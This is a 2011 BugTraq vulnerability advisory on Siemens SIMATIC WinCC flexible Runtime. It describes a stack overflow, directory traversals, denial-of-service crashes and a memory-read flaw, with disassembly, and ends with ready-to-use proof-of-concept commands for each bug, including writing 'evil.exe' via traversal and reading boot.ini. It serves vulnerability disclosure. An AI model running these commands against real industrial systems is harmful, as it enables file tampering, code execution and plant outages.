BugTraq
Vulnerabilities in Siemens SIMATIC WinCC flexible 2008 SP2 Nov 28 2011 01:14PM
Luigi Auriemma (aluigi autistici org)
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Luigi Auriemma

Application: Siemens SIMATIC WinCC flexible (Runtime)
http://www.automation.siemens.com/mcms/human-machine-interface/en/visual
ization-software/wincc-flexible/wincc-flexible-runtime/Pages/Default.asp
x
Versions: 2008 SP2 + security patch 1
Platforms: Windows
Bugs: A] HmiLoad strings stack overflow
B] HmiLoad directory traversal
C] HmiLoad various Denials of Service
D] miniweb directory traversal
E] miniweb arbitrary memory read access
Exploitation: remote
Date: 28 Nov 2011
Author: Luigi Auriemma
e-mail: aluigi (at) autistici (dot) org [email concealed]
web: aluigi.org

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1) Introduction
2) Bugs
3) The Code
4) Fix

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===============
1) Introduction
===============

From vendor's homepage:
"WinCC flexible is ideal for use as a Human Machine Interface (HMI) in
any machine or process-level application in plant, machine and
series-machine construction. WinCC flexible is designed for all sectors
of industry and offers engineering software for all SIMATIC HMI
operator panels, from the smallest Micro Panel to the Multi Panel, as
well as runtime visualization software for PC-based single-user systems
running under Windows XP / Windows 7."

HmiLoad is a stand-alone tool that should be manually added to the
startup folder for automatically start it everytime:
http://support.automation.siemens.com/WW/llisapi.dll?func=cslib.csinfo&o
bjId=32813727&load=treecontent&lang=en&siteid=cseus&aktprim=0&objaction=
csview&extranet=standard&viewreg=WW

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=======
2) Bugs
=======

The bugs are referred to HmiLoad in Transfer mode, where it listens on
port 4410.

---------------------------------
A] HmiLoad strings stack overflow
---------------------------------

The functions that read data and unicode strings (32 bit size plus
data) are affected by a stack overflow during the copying of the input
data in a limited buffer trusting the size value provided by the
client.
Code execution may be possible if the attacker is able to modify the
memory after the input data (0x400 bytes) using other types of packets
and then sending a big string size for raising an invalid read
access exeption with the corrupted SEH:

0040EFAB |. FF76 18 PUSH DWORD PTR DS:[ESI+18] ; /n
0040EFAE |. 8D46 1C LEA EAX,DWORD PTR DS:[ESI+1C] ; |
0040EFB1 |. 50 PUSH EAX ; |src
0040EFB2 |. 8D85 E8FBFFFF LEA EAX,DWORD PTR SS:[EBP-418] ; |
0040EFB8 |. 50 PUSH EAX ; |dest
0040EFB9 |. E8 2C480000 CALL <JMP.&MSVCR80.memcpy> ; \memcpy
...and...
0040F03C |. FF76 04 PUSH DWORD PTR DS:[ESI+4] ; /n
0040F03F |. 8D46 08 LEA EAX,DWORD PTR DS:[ESI+8] ; |
0040F042 |. 50 PUSH EAX ; |src
0040F043 |. 8D85 E8FBFFFF LEA EAX,DWORD PTR SS:[EBP-418] ; |
0040F049 |. 50 PUSH EAX ; |dest
0040F04A |. E8 9B470000 CALL <JMP.&MSVCR80.memcpy> ; \memcpy

------------------------------
B] HmiLoad directory traversal
------------------------------

The server is affected by a directory traversal vulnerability that
allows access (read, write and delete) to any file on the disk outside
the expected directory.

-------------------------------------
C] HmiLoad various Denials of Service
-------------------------------------

The server is affected by various problems that allow an attacker to
stop or crash it in various ways.
They are not much interesting and useful so it's not important to go
deeper in their details.

------------------------------
D] miniweb directory traversal
------------------------------

miniweb.exe is a program that listens on ports 80 and 443 when started.
Through the usage of encoded backslashes and directory traversal
patterns is possible to download the files outside the download
directory.

---------------------------------------
E] miniweb arbitrary memory read access
---------------------------------------

miniweb is affected by a weird vulnerability that allows an attacker to
crash the server due to the access to an arbitrary invalid memory zone
during the check of the extension of the requested file.

When it handles the HTTP POST requests it checks if the first byte of
the URI is equal to 0xfa in which case it considers the URI as a binary
sequence of data composed by two 32bit integer numbers used for taking
a new URI from the arbitrary memory address calculated on the second
number or on the sum of both:

004425E0 /$ 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] ; URI_to_binary
004425E4 |. 85C0 TEST EAX,EAX
004425E6 |. 75 01 JNZ SHORT Miniweb.004425E9
004425E8 |. C3 RETN
004425E9 |> 8038 FA CMP BYTE PTR DS:[EAX],0FA
004425EC |. 75 03 JNZ SHORT Miniweb.004425F1
004425EE |. 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4]
004425F1 \> C3 RETN
...
0041AA38 |. 8B1D B0714500 MOV EBX,DWORD PTR DS:[<&MSVCR80.strncmp>]
0041AA3E |. 83C4 04 ADD ESP,4
0041AA41 |. 8BE8 MOV EBP,EAX
0041AA43 |. 33F6 XOR ESI,ESI
0041AA45 |> 8B86 988D4500 /MOV EAX,DWORD PTR DS:[ESI+458D98]
0041AA4B |. 3BE8 |CMP EBP,EAX
0041AA4D |. 7C 1B |JL SHORT Miniweb.0041AA6A
0041AA4F |. 8B96 948D4500 |MOV EDX,DWORD PTR DS:[ESI+458D94]
0041AA55 |. 50 |PUSH EAX
0041AA56 |. 52 |PUSH EDX
0041AA57 |. 57 |PUSH EDI
0041AA58 |. E8 837B0200 |CALL Miniweb.004425E0 ; URI_to_binary
0041AA5D |. 83C4 04 |ADD ESP,4
0041AA60 |. 50 |PUSH EAX
0041AA61 |. FFD3 |CALL EBX ; strncmp
0041AA63 |. 83C4 0C |ADD ESP,0C
0041AA66 |. 85C0 |TEST EAX,EAX
0041AA68 |. 74 16 |JE SHORT Miniweb.0041AA80
0041AA6A |> 83C6 08 |ADD ESI,8
0041AA6D |. 83FE 08 |CMP ESI,8
0041AA70 |.^72 D3 \JB SHORT Miniweb.0041AA45
...and...
0041AAC5 |. E8 667A0200 CALL Miniweb.00442530
0041AACA |. 8B2D C4714500 MOV EBP,DWORD PTR DS:[<&MSVCR80._strnicmp>]
0041AAD0 |. 83C4 04 ADD ESP,4
0041AAD3 |. 8BF8 MOV EDI,EAX
0041AAD5 |. 33F6 XOR ESI,ESI
0041AAD7 |> 3BBE A08D4500 /CMP EDI,DWORD PTR DS:[ESI+458DA0]
0041AADD |. 7C 29 |JL SHORT Miniweb.0041AB08
0041AADF |. 8B96 9C8D4500 |MOV EDX,DWORD PTR DS:[ESI+458D9C]
0041AAE5 |. 57 |PUSH EDI
0041AAE6 |. 52 |PUSH EDX
0041AAE7 |. 53 |PUSH EBX
0041AAE8 |. E8 F37A0200 |CALL Miniweb.004425E0 ; URI_to_binary
0041AAED |. 8BCF |MOV ECX,EDI
0041AAEF |. 2B8E A08D4500 |SUB ECX,DWORD PTR DS:[ESI+458DA0]
0041AAF5 |. 83C4 04 |ADD ESP,4
0041AAF8 |. 03C1 |ADD EAX,ECX ; sum
0041AAFA |. 50 |PUSH EAX
0041AAFB |. FFD5 |CALL EBP ; _strnicmp
0041AAFD |. 83C4 0C |ADD ESP,0C
0041AB00 |. 85C0 |TEST EAX,EAX
0041AB02 |. 0F84 82000000 |JE Miniweb.0041AB8A
0041AB08 |> 83C6 08 |ADD ESI,8
0041AB0B |. 83FE 08 |CMP ESI,8
0041AB0E |.^72 C7 \JB SHORT Miniweb.0041AAD7

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===========
3) The Code
===========

http://aluigi.org/testz/udpsz.zip

A]
udpsz -C "0004 02 00 00 00 ffffffff" -b a -T SERVER 2308 2+0x400
or
udpsz -C "0004 03 00 00 00 00000000 00000000 00000000 00000000 00000000 ffffffff" -b a -T SERVER 2308 2+0x400
and so on, alternatively:
udpsz -C "0004" -b 0xff -X 2 8 l 1 -l 0 -T SERVER 2308 2+0x400

B]
udpsz -C "0004 03" 0 -C "01000000 80000000" 0x16 -c ".\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\
0.\0.\0/\0.\0.\0/\0.\0.\0/\0e\0v\0i\0l\0.\0e\0x\0e\0" 0x1e -T SERVER 2308 2+0x400

C]
udpsz -C "0004 28" -T SERVER 2308 2+0x400
udpsz -C "0004 21" -T SERVER 2308 2+0x400
udpsz -C "0004 22" -T SERVER 2308 2+0x400
udpsz -C "0004 03" 0 -C "ffffffff" 0x16 -T SERVER 2308 2+0x400

D]
http://aluigi.org/mytoolz/mydown.zip
mydown http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini

E]
udpsz -c "POST \xfa\x01\x01\x01\x45\x40\x40\x41 HTTP/1.0\r\n\r\n" -T SERVER 80 -1

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======
4) Fix
======

No fix.

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---
Luigi Auriemma
http://aluigi.org

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